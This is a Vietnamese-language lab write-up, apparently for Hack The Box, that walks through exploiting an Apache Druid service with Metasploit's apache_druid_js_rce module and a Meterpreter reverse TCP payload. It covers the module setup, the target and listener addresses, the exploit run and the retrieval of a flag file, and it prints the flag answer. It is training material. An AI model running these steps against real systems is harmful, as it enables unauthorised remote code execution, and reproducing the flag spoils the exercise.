1. Exploit the Apache Druid service and find the flag.txt file. Submit the contents of this file as the answer.

Tìm kiếm dịch vụ Apache Druid và lựa chọn payload

```bash

search Apache Druid

use 0

```

A computer screen with text and numbers

Description automatically generated

Xem các thông số của payload

```bash

[msf](Jobs:0 Agents:0) exploit(linux/http/apache\_druid\_js\_rce) >> options

Module options (exploit/linux/http/apache\_druid\_js\_rce):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:p

ort[,type:host:port][...]

RHOSTS yes The target host(s), see https://doc

s.metasploit.com/docs/using-metaspl

oit/basics/using-metasploit.html

RPORT 8888 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing conn

ections

SSLCert no Path to a custom SSL certificate (d

efault is randomly generated)

TARGETURI / yes The base path of Apache Druid

URIPATH no The URI to use for this exploit (de

fault is random)

VHOST no HTTP server virtual host

When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh\_invokewebrequest,ftp\_http:

Name Current Setting Required Description

---- --------------- -------- -----------

SRVHOST 0.0.0.0 yes The local host or network interface t

o listen on. This must be an address

on the local machine or 0.0.0.0 to li

sten on all addresses.

SRVPORT 8080 yes The local port to listen on.

Payload options (linux/x64/meterpreter/reverse\_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST yes The listen address (an interface may be

specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Linux (dropper)

```

Thiết lập các thông số của payload

```bash

set RHOSTS 10.129.109.36

set LHOST 10.10.14.54

```

A computer screen shot of words

Description automatically generated with medium confidence

Bắt đầu khai thác máy chủ mục tiêu

```bash

exploit

```

A screen shot of a computer

Description automatically generated

Tìm kiếm file flag.txt

```bash

search -f flag.txt

```

A screenshot of a computer code

Description automatically generated

Đọc file flag.txt để lấy flag

A close up of text

Description automatically generated

P/s: HTB{MSF\_Expl01t4t10n}